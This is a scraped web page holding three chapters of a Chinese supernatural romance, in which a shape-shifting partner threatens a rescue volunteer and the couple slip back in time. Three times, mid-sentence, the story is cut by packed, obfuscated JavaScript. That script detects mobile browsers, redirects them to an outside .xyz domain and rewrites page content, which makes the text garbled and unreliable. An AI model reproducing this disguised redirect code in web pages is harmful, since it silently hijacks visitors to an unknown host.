l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043124|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神压力有点大,恍惚了……” 南冬雪慢条斯理的解释着,本打算说完这句话就告别,没想到被炽连泽一把拽起来,拉到一间病房门前,“你看看,是不是那个人?” 纵然夜色昏暗,南冬雪也记得那个人的脸。巧了,和病床上躺着的那个人长相有七八分相似。 “他说他叫周正。”南冬雪并不敢百分百保证,也没有想到炽连泽在激动什么?因为他圣诞夜之后就弄断了腿? “还记得你去找我,冻了一天吗?”炽连泽迫不及待说出结论,奈何南冬雪跟不上他的思路,“这个人,周正,是我那天从废墟里拽出来的第一个人,我记得很清楚。圣诞夜那天,我也看见这个人的正脸了,因为很忙,所以没来求证,恰巧今天受伤了我才过来看看。你觉得奇怪吗?如果你丈夫是真实存在的话,遇难者张梧桐和你丈夫张梧桐,受了伤一直躺在医院里的周正和身体健康的周正,为什么会有长相一样的两个人?周正他没有双胞胎兄弟之类……” 南冬雪狠狠吸一口气,快速吐出。 “和你又没关系,别推理了,好好养伤吧。” 她看见炽连泽后颈处还有一片红肿,心里过意不去。 炽连泽没有被说服,还想再问,南冬雪堵住了他的话头,“张梧桐的事已经翻篇了,你不用再操心了,表叔。” 这时候叫表叔,炽连泽差点一口老血喷出来。不过看她的样子,或许是风波已经归于平静,两个人亲亲蜜蜜还是小两口了。 炽连泽有些泄气,又听南冬雪说: “我还想问一下,你刚才哼的那个调子是什么?” “我以前写的歌,怎么了?很好听吧?” “你写的歌?” 南冬雪那张脸上好不容易有些夸张的表情,却是在怀疑他的能力。又因被喊了表叔,炽连泽阴阳怪气道,“怎么了?你觉得我写不出来吗?你以前还说我会成为家喻户晓的歌星呢,你忘了?” 提起这些愉快的回忆,恍如是昨天发生的事情。他们约好了今天在学校相见,便顺其自然、毫无意外的凑在一起了。 “那你这歌叫什么名字?” 炽连泽尴尬的挠挠头,“啊?这个啊……只有几句调调,没发表过。” 一封炽连泽十年前的信。一段炽连泽从来没有发表过的歌。张梧桐和炽连泽到底什么关系啊? 炽连泽为了挽回自己的形象,热情分享道,“你看看我的歌词,写得超级棒,我还没有给别人看过。” 一张乐谱照片呈到南冬雪眼前。上面写着: 冬雪覆梧桐,春来有寒香。 烟火燎旧梦,了了胜浮屠。 南冬雪冷眼,“这不是我写的吗?” 张梧桐有时候会哼唱的歌词也是这几句。她竟然忘记了这一遭。 那天是春日第一天上学,她坐在教室里百无聊赖,随便写了前两句不能称为诗句的诗。炽连泽看到之后,缠着她用他的名字写两句,于是就有了后面两句。 不论歌词归属问题,南冬雪内心也是鄙弃的。她错以为挚爱的那个人,和炽连泽究竟是怎样不可解的联系? 一个出轨的男人。 炽连泽企图蒙混过关,哈哈笑着,“你还记得啊哈哈……你写得,我承认是你写得,写得真差劲哈哈……” “我先走了。”南冬雪说。 她像是一片冻土。只一眼,便知到处都是冰碴子。仅是靠近,也会被冻伤。 她的眼神,像是一则老死不相往来的判决书。 炽连泽有些智障。他不清楚南冬雪是因为这几句歌词,还是因为别的事情。他也想不起来南冬雪以前对人就是这样,还是后来才学会的,是不分目标的,还是单独针对他的? 他诚心诚意的对她好,她却是这样回应,真令人伤心。 炽连泽被伤了心。绷带下的皮肉好似也更疼了。 11. 花千树 这世界上会有很多奇怪的事情发生。奇怪,但并不是毫无道理。 炽连泽当初选择特殊搜救队志愿者作为职业,足迹踏遍全国各地,就是想要能够脚踏实地的认识世界,了解社会,追求内心的宁静,寻找生命的意义。 他崇尚科学。就算相信人为恶意,也不相信是灵异作祟。 南冬雪和张梧桐之间的事情如何,他不够清楚。但亲眼看到本应躺在医院里的人,完好无损的从他眼前走过,释放出挑衅的目光,又是纠缠在南冬雪身边,这其中一定有着不为人知的秘密。 现在要怎么办?盯着周正?和周正有关系吗? 仅凭着目前的信息,根本没有办法去了解。南冬雪又是那副态度,炽连泽隐隐丧气。待他走出医院大门,从充满烟火气的街道走过,心中慢慢有了答案。 如果他要是再出现,一定要弄个水落石出。如果没有这个机缘,那就到此为止。关于南冬雪的一切,也和他毫无半点关系了。 炽连泽想起很久以前,在小说中十分流行的一句话:人是两条平行线。他忽然觉得不对,南冬雪回到她的生活圈子,他回到自己的圈子,轨迹应该是两个毫无规则的圆,不知道什么时候会相交,什么时候又会像现在这样背道而驰,越来越远。 但他不是知道南冬雪的住处吗?炽连泽心中腾起喜悦。而后跳起来的曲线又迅速恢复低空飞行。知道又怎么样? 她结婚了。其实,从照片上看,两人很是相配。炽连泽第一次看见时,心里有些嫉妒。他从来没有想过南冬雪的另一半,会是一个陌生的人。 尽管这是理所当然的事情。如果是在十年前,想到南冬雪会和那个男人结婚,这一定很神奇吧? 那年的英文课堂上,他也幻想了关于南冬雪的未来:结婚,生子,优雅自信的笑着,遇见他的时候,虽然一副好态度,但是根本不把他放在眼里……为着这个,他想了很多种报复的方法,后来也就没能得出一个准确的答案。 偏僻的大道上,路灯在层层树叶之中亮着。炽连泽捕捉到了灯光一个接一个亮起的瞬间,似乎唤醒了他内心的某种意识。 他微微抬头,望向道路尽头,正如他的脑袋一样,空空如也,只有一条线,似未开化完成。炽连泽的目光上移。 晕黄的光芒被包裹于绿叶之间,像是隔了一层绸缎,构成灯笼一般的形态,生出朦胧之美。 道路两旁的树,原来是梧桐。炽连泽忽而气笑了。 走过这条路千百次,从来没有注意到梧桐有什么不对。但是从今以后,他应该不愿意去看一棵梧桐树了。 他的内心,是不是在经历情感?和自然一样柔软。 真是久违了。一股冷风吹来,炽连泽扣上帽子,缩了缩身子,打算赶紧回家。视线下移,一个男人的脸闯入眼帘。 和遇难者张梧桐不同。这个人只是平静的站在那里,也能让人感受到“他很平和、善良、快乐”的信号。 “你是南冬雪的丈夫?你好。”炽连泽内心的一团疑雾破开了一个口子,怀着惊奇和新鲜的心情,他习惯性的伸出右手,看见自己裹着绷带,又悻悻收回。“不好意思。” “从法律上来说,不是。”张梧桐从一开始,目光一直停留在炽连泽脸上,强势猛攻的心思逐渐显露出来。 炽连泽不懂,疑惑。 张梧桐的瞳仁向下挑,微笑,“她没有告诉你吗?她没有结婚,没有男朋友,实际上,连张梧桐这个人也不存在。” 干嘛一副戏耍了别人还高高在上、暗自得意的表情?!炽连泽愤怒,想骂人。 只是下一秒,更强烈的刺激压过了他的愤怒。 张梧桐,变成了周正。 一个人,平滑的变成了另一个人。但身体未移动分毫。发型和衣物也没有一丁点的改变,只是脸,完全变成了另外一个人的样子。 “我的意思就是这样,明白了吗?” 炽连泽见过变脸,却没见过骨肉易形的变脸。他的内心如同受到一记重锤。 “那这样呢?” 周正的脸,变成了炽连泽。 这下,炽连泽的大脑瘫痪了。 这是什么把戏?抓住了最后的理智,炽连泽抬脚去踢,上半身紧接着去擒拿。从无失手的动作,这一次却扑了一个空。虚假的“炽连泽”仍然放松精神,优哉游哉的站在他面前。 这一遭显然超出了炽连泽的认知范围。 什么样的人能移形换影?这是真的吗?不是魔术之类的小把戏吗?他知道自己十分清醒,这一切不是在做梦。 四处张望。梧桐大道还是原本的样子,不过两边的大楼犹如虚影。道路尽头也丧失了真实性,变成风一吹就能毁坏的沙画一般。 “你敢让我碰一下吗?” 虚假的“炽连泽”毫无所谓的靠近,依然是高高在上的一副姿态看人,也十分冷漠,从炽连泽的口袋里摸出身份证件,撞进自己的大衣内侧口袋。 连同受伤的手也复制过去。 “他”捏着炽连泽的左侧脸颊,扯着肉小幅度的甩了两下。就像是长辈逗弄犯错的小孩子,又生气又拿可爱的他没办法。 “从今往后,我就是炽连泽。” “他”推着炽连泽往后退了一步,“喜欢南冬雪吗?” 炽连泽打算逃跑,但两条腿根本不听使唤,沉重得如同绑了巨大的沙袋。 “不喜欢也没关系。我会变成你去讨她欢心,守在她身边一辈子,让她幸福,让她快乐,让她再也没有痛苦。谢谢你,成全我。你就变成烟花,让她记住你最后一次吧。 烟火燎旧梦,了了胜浮屠。这句诗特别适合你的人生,牺牲自己,成全别人。” 炽连泽还没有从这个人带给他的信仰崩塌中缓过神来。他懵懵地问出了此时此刻最想知道的问题,“你是什么东西?” 面对易如反掌制服他的一个人……不……或许是拥有着他想象不到的力量的……外星人之类?炽连泽清楚的知道自己在害怕。 而对面的人也将炽连泽的害怕尽收眼底。他尽力让自己看起来和蔼一些,大度一些,心平气和的讲话,只是没意识到这恐惧源于自身的非人类力量。 “抱歉,我从来没有在人类面前出现过。别紧张,我不是坏人。” “坏人都这么说。”听到熟悉的台词,配合着这人确实让人心安的潜在力量,炽连泽的大脑稍微恢复了一些理智,“你刚刚提到了南冬雪?你和她什么关系?为什么假扮张梧桐?对南冬雪骗财骗色。为什么假扮周正?现在又为什么假扮我?” 虚假的炽连泽眼珠一挑,好像听到了什么有趣的事情,含着笑意反问道,“看来你对她了解的还不够清楚。她有财让我骗吗?还是有色让我贪?” 听见这种对南冬雪暗含贬低的话,加上看着那张和自己一模一样的脸,炽连泽本尊觉得对方十分欠扁,恨不能挥起一拳,一决胜负,看看谁技胜一筹。奈何他满腔怒火,还是不得动弹。 对方却随意的抽他一耳光,“好好听我说话!我说你不喜欢南冬雪也没关系。我会变成你去讨她欢心,守在她身边一辈子,让她幸福,让她快乐,让她再也没有痛苦。我有这样的能力,你看到了吧?如果你成全我,我会感谢你一辈子。 而你就变成烟花,让她记住最后一次吧。烟火燎旧梦,了了胜浮屠。其实这句诗特别适合你的人生,牺牲自己,成全别人。这是不是算一种预言?可惜了,冬雪覆梧桐,如果不是你自作主张,坚持不懈的要去阿尔卑斯山上搜救遇难者,逼得我不得不离开,她会一直幸福下去,明白吗?” 炽连泽恨恨的,“没有你,她会活得更好,你这个怪物,你到底是什么东西?” 该不会是鬼压床了吧?炽连泽内心揣测,但他十分清楚自己是醒着的状态。他想不通。是遇鬼了吗?世界上并没有鬼。到底怎样才能如此丝滑的变脸?他是一个罪犯,偷取别人的身份面貌生活的罪犯。但他是如何让自己无法动弹的?这一点炽连泽无论如何也想不到。 “如果我是怪物,南冬雪也是怪物。和你们不一样,知道吗?” 温柔的语调陡然变得严厉、愤怒。炽连泽在这个声音之中,身体急速漂浮在半空中后退,直到撞在一个纸壳做的柱子上。 刚刚还身处街道,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043125|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围有梧桐和大楼,现在炽连泽眼前是一片海,海浪拍打着岸边,一阵一阵的海浪声十分真切,甚至有几丝水花溅在他的脸上。他的脚边放着一圈又一圈的烟花。此时炽连泽才意识到那个人刚刚说的话是什么意思。 你就变成烟花,让她记住最后一次吧。 牺牲自己,成全别人。 “哎!”炽连泽绝境中乱了阵脚,疯狂喊叫。他可不想变成烟花。“我不愿意成全你!” “你不是为了成全我,而是为了成全南冬雪,你明白吗?”虚假的炽连泽好心解释,“我要变成你,给她幸福,所以你不得不牺牲。” “少放屁了!”这个理由根本无法说服炽连泽,“没有你,没有我,南冬雪她自己就可以过得很好。她不需要依靠任何人得到幸福。你这个无耻、愚蠢的垃圾,别在这自以为是了。” 骂了一通,那人严肃的脸忽而笑了。不过炽连泽察觉到,他的目光所指的方向是在自己的斜后方。 “你来了。”那人的脸又变成了张梧桐。影影绰绰中,站在远处的人很难分辨出这一变化。 炽连泽艰难的往那边看去,不出预料的,是南冬雪。 南冬雪以为炽连泽被捆在巨型烟花筒上,连忙跑去帮他解开,近前一看,炽连泽手腕上什么都没有,他自己左手拉着右手,不肯松开。 “你有病吗?还不跑等着被烧啊?”南冬雪打了炽连泽的胳膊一下。 “我怎么跑?一点也动不了!”炽连泽又委屈又百口莫辩。现下这情况三言两语说不清楚,南冬雪没有亲眼所见,恐怕很难相信。“南冬雪,你看那边的海……” 南冬雪没功夫和他玩笑,踢了踢脚下的那些烟花筒,是真货,深感无力。 “你这是做什么?” 炽连泽觉得她的声音只能自己听见,便好心的扯着嗓子传话,“她问你这是在干什么?” 南冬雪被这撕破锣鼓的震痛耳膜,连忙捂住了耳朵,不可思议的、嫌弃的看着炽连泽。 “干嘛?你说话他听不见。”炽连泽理所应当的解释。 另一边的张梧桐对此不满,“我听得见,用不着你传话,谢谢。” 他看向南冬雪,“亲爱的,你竟然选择站在他那边吗?他是你的谁啊?” 那副表情是南冬雪从来不曾见过的阴险。 “你这是在杀人,你知道吗?你这么干,我当然站在他这边了。你为什么要伤害他?他怎么招惹你了?他虽然是个蠢货,但你做人不能没有肚量。再说了,再怎么样你也不能私自动刑吧?有什么事请求法律援助不是吗?” “你故意的吗?干嘛说我蠢货?我哪里蠢了?”炽连泽迫不及待为自己辩解。 “现在是说这个的时候吗?” “所以你这是承认故意说我蠢了?” 南冬雪踢了炽连泽的小腿一脚,“你干嘛还不跑?吓傻了吗?” 和他搭档,真是累人。 “你才傻了!他根本不是张梧桐,不是你老公。南冬雪,我怀疑你老公是流窜作案的通缉犯,专骗你这种好骗的……啊……” 悄悄话没说完,炽连泽破音痛呼。南冬雪只见他长大了嘴巴喊叫,身上又没有一个地方有异常,以为他又是在搞怪,便不愿搭理。他说的那些话,也没有半点可取之处。 “亲爱的,你再想想,选择他,还是我?”张梧桐慢慢走近两人,平静深邃的眼睛紧盯南冬雪,“你忘了我们相爱的时候有多么幸福吗?你说会和我一辈子在一起,这么快就忘了吗?” “你别过来!”南冬雪也感受到了这个人的危险,举起一个正方体烟花筒威胁,“你忘了被我撞见你出轨的事情了吗?还在这里装什么深情?如果是你被炽连泽威胁,我绝对鼓掌叫好,不会站在你那边。” “南冬雪,你快跑吧,别管我了。那个人很危险,听话,南冬雪,你快走……”炽连泽小声对南冬雪催促。 南冬雪终于认真看着炽连泽。他的认真和紧张程度,表明口口声声所说的危险并不是毫无根据。 张梧桐越来越近,对南冬雪伸出手,“我,还是他,你只能选一个,你选谁?” 12. 云之君兮纷纷而来下 约莫五千克重的烟花砸到张梧桐的胸膛,南冬雪还是搞不懂这个人到底要干什么,但能感受到危险。指不定那个疯子会做出什么事,当下之急,是先解救炽连泽。 明明不想和他扯上任何关系,但到最后兜兜转转还是和他拉扯不清。 南冬雪分开炽连泽的两只手,抓住他的手腕往外扯,发现没有任何束缚但他纹丝不动。 “怎么回事?” 她这才意识到事情有些超乎想象了。南冬雪急得快要哭出来,那边张梧桐还在逼问,她愤而暴起,“我选他,刚才已经告诉过你了,是你先抛弃了我,那就不要吃着碗里的看着锅里的,好不好?我以前是很喜欢你,从第一次见面起,你对我说的那些话,让我以为我们是同一类人,可以抱团取暖的时候,我就想要和你在一起了,我还以为我们两个人能白头到老,相守相爱一辈子,但是那又怎么样呢?是你先出轨了,你不爱我了,不是吗?再说了,我们之间的感情问题,你干嘛把无辜的人扯进来?” “他刚才说要杀了我,顶替我……”炽连泽小声在南冬雪耳边嘀咕,防备的眼神盯着张梧桐,话还没说完,喉咙里却发不出声音了。他的嘴巴徒劳的越动越快,眼里的震惊越来越深。 张梧桐停下了脚步,捧着那烟花,像以前一样温柔,一脸欣慰,看着南冬雪,“选他,很好。那,你们走吧。” 南冬雪紧张不已,抓住了炽连泽的手臂,发现他能动了。她一边观察张梧桐的表情,一边拉着炽连泽后退。 两人尚未走出烟花圈,张梧桐脸上肉眼可见的扬起阴险的微笑,炽连泽率先发现身后的烟花自动点燃,正在“嗖嗖”冒火花,接着第二个、第三个……接二连三的全都开始冒火花。 火光照亮三个人的脸。 南冬雪和张梧桐相视无言。 炽连泽拖着南冬雪奋力跑到安全地点。身后的烟花群早已纷纷炸开,地上一阵乱七八糟的撕裂声,天上一片伴随着漂亮烟花的硝烟滚滚。 南冬雪脚下不慎绊倒,她趁机回头望去,看见一个人影随着周遭的烟气散开来。 “他在哪里?” 炽连泽没能听清,俯下身去看她,发现南冬雪已是泪眼婆娑,完全没有刚才半点的铮铮铁骨。 “你说什么?”炽连泽面对柔弱可怜的人儿,自动打开了温柔博爱的模式,柔声细语道。听见自己又能发出声音来,惊喜和疑惑来不及让他在乎。 “他在哪里?他是不是在里面没出来?” 在怀疑所爱之人陷于危险之中时,一切伪装出来的坚强都崩溃了。南冬雪此时此刻才愿意承认,对于张梧桐,就算不能在一起,只要他能安全无恙的活着,这才是她所希望的。她不愿意看到张梧桐受伤,或者死亡。 曾经的爱,真的存在过,一时难消。 炽连泽抬头看过去,却见一簇火花朝这边迸来,来不及逃开,他连忙用身体去保护南冬雪。 身后烟火爆鸣声震耳欲聋,鼻腔充斥着硝烟的味道,接连乍亮的火花照明了半边天,足足持续半个小时之久。 两人感觉到身体好似已经被炸开来,又被连续不断的,一阵接着一阵,在他们摊开来的身体里面轰炸。处在这种环境中,等到最后爆鸣声渐小时,他们只觉五感已经麻木。 他们像是一起从生死边缘走了一遭回来,此时无论什么都不重要了。 炽连泽紧紧抱着她,南冬雪既不反感,也不感激,是对此没有感觉。她呆呆的抬头,迎上他的目光,好似不理解,不相信,不愿意,被另一个人拥在怀中。 “你没事吧?”炽连泽松开手臂。 南冬雪轻轻推开他,站起来,朝着那还有少许烟花正在断断续续的盛开来的地方走去。炽连泽紧紧跟着。 两人从硝烟产生的中心通过,几乎没有办法正常呼吸,火花在身侧蹿到天上去,炸开的纸片碎屑落下来,掉在他们的头上、肩膀上、衣服口袋里。 张梧桐原本站着的地方没有任何痕迹。再往前走,南冬雪依然没有发现他的踪迹。 他在哪里?是不是跑掉了?情绪稳定、热爱生活的人,会做出这种事吗?她还想问问他到底是怎么回事?南冬雪想起几天前打通了张梧桐的电话,现在,是不是也可以打电话问一下,至少知道他是平安无事的。 南冬雪刚拿出手机,忽然听见身后一声刺耳的鸣笛,回头之时,一束强光刺痛眼睛,炽连泽瞬间将她往旁边一拉,两人皆往后摔倒在地上。 明明撞进了水里,但炽连泽拍了拍沙滩,哪里还有什么沙子,哪里还有什么海水,左右一看,连那诸多烟花也消失了。他抬头看去,最后一团烟花正在散开,然后悄然熄灭。刚刚疾驰而过,险些撞到他们的车子仍然在前方轰鸣,风里送来隔壁街区烧烤的香味,冬季的寒冷再次降临。 他们回到了正常的世界。炽连泽隐隐产生了这种感觉。那刚才是什么?他不敢细想,因为一思考,大脑就疼痛。 “南冬雪,你有没有觉得很奇怪?”需要思考的事情应当交给脑袋灵活的人。 南冬雪此时也是一脸懵,双手扶着脑袋晃了晃,“刚才这是怎么了?炽连泽,我是不是傻了?烟花去哪里了?你刚才看见有烟花吗?” 看起来南冬雪受到的刺激比他更严重。她站不稳,伸出手来想要扶住什么东西,炽连泽自然而然的伸手过去,让她扶在自己左手小臂上。 “你没傻。南冬雪,我们应该是遇见非人类了,是外星人吗?你和他相处了那么久,没发现有什么奇怪的地方吗?比如,他不吃饭,需要充电?从来不上厕所,或者是瞬间移动,无法通过金属检测门之类的,有吗?” “我给他打个电话。”南冬雪把扔出老远的手机捡回来,坐在马路牙子上,虚弱无力的说,“我腿软。” 因为刚才被车子那一吓,还有张梧桐引发的怪事,让她想起了以前想要忘记的某些瞬间。 为什么自己的人生总是不能平顺? “打不通的。”炽连泽小声抱怨。 果然,手机里传来“您所拨打的电话是空号”的声音。 “先回家吧,我送你回去再说。”炽连泽说。 炽连泽扶起南冬雪,见她状态不佳,好心提议说,“要不我背你吧?” “没有车吗?”南冬雪摸出手机,发现刚刚还有信号,现在却没有了,如同一个废物。她看向炽连泽。 “我的手机和钥匙什么的都被你家那位抢走了。” 这话说的,乍一听是调侃,细一想怨气满满。 “那对不起了,我会赔给你。” 炽连泽往南冬雪面前一蹲,“来吧,别唧唧歪歪的,你单身我也单身,怕什么呢?”话说到一半,南冬雪就趴在他背上了,炽连泽那张嘴还是不停。 经历了一场突破认知的生死挑战,炽连泽此刻只为着两人安然无恙开心,管他什么乱七八糟的人,只要往后不再出现在他们面前找麻烦就行了。 “还记得有一次暑假,我带你去河里捞鱼,大家都走了,你还在树林里睡觉,怎么叫都叫不醒,还是我背着你下山,把你送回家,结果发现你是中暑晕过去了。”炽连泽叹了口气,“明明是我的错,你奶奶还上门来专程道谢,把你救回来……” 南冬雪打断他,“你背上被烧了一个洞。” “我知道。”炽连泽说,“幸好只是烧到了衣服。哎,我刚刚救了你,现在又背你回家,这算不算救你两次?以后你还讨不讨厌我了?真搞不懂你,我对你这么好,你就不能看到我一点点优点吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043126|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你很优秀,根本没有不好的地方。”南冬雪戴着羽绒服的帽子,胳膊放在炽连泽的肩膀上,脑袋枕在自己的胳膊上,完全把一颗脑袋藏在帽子底下,十分有安全感。 炽连泽他长得很强壮了,背着她犹如无物。他的脚步稳健,慢悠悠在夜晚的梧桐大道上走着。天上雾浓,大楼高处的灯光缥缈,好似一场恍恍惚惚的梦,没有开始,没有结局,也没有任何记录。 “哦?”炽连泽尾调上扬,声音之中洋溢着抑制不住的高兴,“原来在你眼里,我是这么优秀的人吗?喂!南冬雪,你是认真的吗?那你要不要考虑一件事情?” “我想要和过去的我完全斩断所有关系,所以,我也不想和以前认识的任何人有任何交往,你能理解我吗?可不可以满足我这个愿望?”南冬雪没有等来回答,于是继续说,“你为我做的事,我知道,但我现在没有能力回报。要是有一天我对所有的事情释怀了,我们恰好又遇见了,那时候你想要我帮什么忙我都会帮你,好不好?” “我要你的回报干嘛呢?”炽连泽那富有磁性的声音此时听来有几分悲凉,“不过,你能确保你家那位不会再来找麻烦了吗?” 南冬雪语塞。张梧桐干嘛要找上炽连泽呢?有第一次,难保不会有第二次。他以前不是这样的人,为什么突然间开始步入犯罪行列了呢?他又是用了什么手段,让他们觉得刚刚那一场惊心动魄不切实际,好像是做了一场梦? “对吧?”炽连泽准备乘胜追击,却听见南冬雪出声说话,便先把迫不及待的劝说咽了回去。 “我会报警。他针对你,我也不知道是为什么……先……对不起好吗?我向你道歉……会不会你离我远一点就好了?” “张梧桐和我说,你们在法律意义上不算夫妻,那是怎么回事?”炽连泽悄悄深吸一口气,希望自己有点儿耐心。 “这和你没有关系,是我自己的事。” “嗯?还和我没有关系?我是你表叔,你忘了,结婚也不通知长辈。” “炽连泽,你少发疯了!”南冬雪虽然有气无力,但还是被炽连泽激发起了骂他的劲头,不过转念又一想,事到如今,隐瞒已经毫无好处。“我们没有领结婚证,只是住在一起。” “就像是过家家啊?!”肯定的语气。 “之前是挚爱。” “现在呢?” “你不是都知道了吗?”南冬雪觉得真是丢脸。特别是在炽连泽面前。不过,他这个单细胞生物,应该不会这么想吧?南冬雪劝着自己不要多想。 两人走进了南冬雪熟悉的街道。但是南冬雪觉得有点儿不对劲。梧桐大道和这里相隔甚远,他们再怎么走得很快,也不可能在半个小时内走完三个小时的路程吧?她以为自己看错了,打算再观察观察。 “南冬雪,你在认真听吧?我说,你现在孤寡一人,我也是孤寡一人,要不我们在一起凑合过吧?你愿意吗?” 这话没有经过多长时间思考,是冲动,或许也是内心深处隐藏了很久的向往。在某一天,某一个时刻,毫无预兆的,深埋地下的种子被掀开土壤,见到了天光,所以,它才得以见到自己的主人。 南冬雪拍了拍炽连泽的肩膀,声音轻柔,宛若梦中呓语,“你看。” 炽连泽向远处看去。商场门口,张梧桐正在亲吻一个女孩。白光从上方打下来,好像是专门为他们设计的舞台,两人的脸清清楚楚的映入炽连泽的眼帘。 “刚刚威胁着别人,现在又在亲别人。我去揍他一顿,行不行?” “现在是2024年12月28日晚上8点35分。”南冬雪说。 她的视线落在商场大门上方的电子显示屏上,那里的时间现在显示的是2024年12月28日晚上8点35分46秒。 13. 雪满弓 伴随着报时的声音,炽连泽看见南冬雪正从商场的旋转门走出来,犹如一片雪花,悄然而至,没有引起任何的影响。 但,炽连泽的认知再次受到重击。他回头去看自己背上的南冬雪,确认她还在。 “我一直在这儿。”南冬雪从炽连泽眼神中读懂了他要求证的问题,再一次给确认他得到的答案,“我们回到过去的时间了。” 炽连泽拿出手机看时间,如果没有意外的话,此刻正如他所记得的时间,是2025年1月3日晚上8时36分。 炽连泽的双手原本插在他的衣服兜里,南冬雪腿从他的两个臂弯之中穿过,现在南冬雪感觉到炽连泽的手从口袋里拿出来,抓紧了她的腿。同时南冬雪也在不觉间搂紧了炽连泽的脖子。 两个感受到恐惧的人此时此刻生出了相依为命的觉悟。还是一样的世界,但似乎只剩下他们两个人了。南冬雪甚至没有心情去指责炽连泽撒谎,手机明明在他自己的衣服口袋里,他的手插在口袋,肯定一直都知道,但是骗她说被张梧桐拿走了。 他们僵在原地,看着南冬雪毫无准备的看到张梧桐正在亲吻别的女生那一刻,又看她快速的转移目光,不愿去打扰相爱中的人,走了几步又不甘心的打电话。 六天前的南冬雪此时就站在他们面前三步远的地方,但她似乎没有察觉到。 南冬雪和张梧桐明明站在能够互相听见对方说话声的距离之内,偏偏只通过电话来交流。 “这就是你撞见他出轨的第一现场吗?”炽连泽看着眼前的南冬雪破碎的神情,内心隐隐燃起一股冲动想要做些什么,但是他的理智也在努力阻止。他询问南冬雪,就是为了确定那个天平应该往哪边偏。 炽连泽感觉到南冬雪抓紧了他的肩头,声音柔若无骨,是一种极度无助的状态。这个时候他特别想知道自己背上的南冬雪,和眼前的这位南冬雪,是不是一样的表情? 现实没有给他更多的时间胡思乱想,南冬雪所传达的信息,配合着他所看到的景象,在下一秒清晰的呈现在他的大脑。 张梧桐身边的女生此时正呈现一种烟雾状,随后,他挂掉了电话,视线跟随着逐渐远去的南冬雪,随手一挥,刚刚与他亲吻在一起的女生完全消失不见了。 “放我下来。” 炽连泽顺遂她的意思,不过紧紧跟着,以免出现危险。 南冬雪兴许是害怕,走向六天前出现在这里的张梧桐时极慢。 实际上她在等待着,希望张梧桐能够看见她。如果事实是现在所看到的这样,管他是什么人,或者不是人,南冬雪觉得,有他继续在自己身边就足够了。 他没有出轨,那么为什么要把自己推开?想起在烟花堆发生的事情,张梧桐一再逼问她选择谁,她却说选择炽连泽,是不是狠狠地伤害了他呢? 从小便受伤严重,畸形长大的野兽,需要抱团生活,少了谁都不行。她不能离开他,他也不能离开她,是这样吧? 只剩下一米的距离。她已经在张梧桐的视线范围之内了。但张梧桐的目光还是追随着远去的南冬雪。 那天,她走到转弯处,回头看了一眼,此时此刻,六天前的她能够看到自己在这里吗? 2025年1月3日的南冬雪,在临近晚上八点40分的时候回头,看见六天前的自己同时看向六天后的自己,以及六天前的张梧桐。 六天前,她回头只看到了张梧桐站在商场门前。 现在,她回忆起来,大脑似乎正在试图篡改记忆,努力往张梧桐的身边填补上一个人形,让这一切变得合理起来。 怎么会有看不见的人呢? 怎么会回到过去的时间呢? 她现在的感觉明明是真的,为什么会被看不见,这么像是一个假的世界? “我不敢说,我真的很爱他。”南冬雪微微仰头,看着张梧桐那张熟悉的脸。 曾经这张脸总是尽在眼前,这个人多次表明他的心无条件属于她。而她也在努力,说服自己,他是可以亲近的人,是可以像别人一样去爱的人,还没能成功的时候,他就悄无声息的离开了。 现在,她迫切地想要亲近他,但已是时过境迁。那句迟来的表白是说给旁人听的。鉴于这么长时间对自身所处环境的认知,她认为他听不见。 然而就在南冬雪的感情像是从破缸里流出,造成一片泥泞的时候,张梧桐的目光下移到她的脸上。 只在那一瞬,南冬雪和炽连泽都被吓了一跳,呼吸暂停几秒。接着,南冬雪率先反应过来,朝张梧桐扑过去,张开了手臂,想要抱住他。不管是六天前,还是六天后,消失无踪的张梧桐出现了,不管他们之间产生了什么样的隔阂,南冬雪想要这么做。 紧紧地抓住他。这一次,她会主动去爱他。 炽连泽的动作紧随其后。他伸手去拉南冬雪,同时大喊,“别去!” 张梧桐的脸变成了一团黑气,迅速腾升起来,幻化出人脸的形状,俯首朝下,向南冬雪张开血盆大口。 幸好南冬雪尚未触碰到张梧桐,就被炽连泽拉着,向反方向拼命狂奔。 那怪物穷追不舍,但南冬雪看见它从别人的眼前经过,却没有引起任何恐慌。 南冬雪甩开炽连泽的手,转身朝那怪物冲过去,怪物看到她冲自己跑来,先停下来,接着向后转身移动了一小段距离,似乎想起自己才是怪物,便回过头来张开了大嘴等待食物入嘴。 此时南冬雪已经来不及再做其他考虑。 什么妖魔鬼怪,根本不可能会存在,一切只是虚幻,那张梧桐去哪里了?张梧桐是谁?和炽连泽有着什么样的联系?过去九个月的幸福,对于她而言,难道只是一场梦吗?对于他来说,又是什么? 南冬雪从它的身体中穿过,没有任何感觉。她停下来,回头去看,黑色的烟雾只剩下拳头大小的一团,正在慢慢消散。而远处,张梧桐原本站立的地方,空无一人。 难道是去了别的地方吗?南冬雪回到那里,往前,往右,再回到商场内部,抓住一个过路人问,“请问你有看到一个穿着黑色大衣,又高又帅,看起来像模特,鼻尖有颗痣的一个男的吗?” 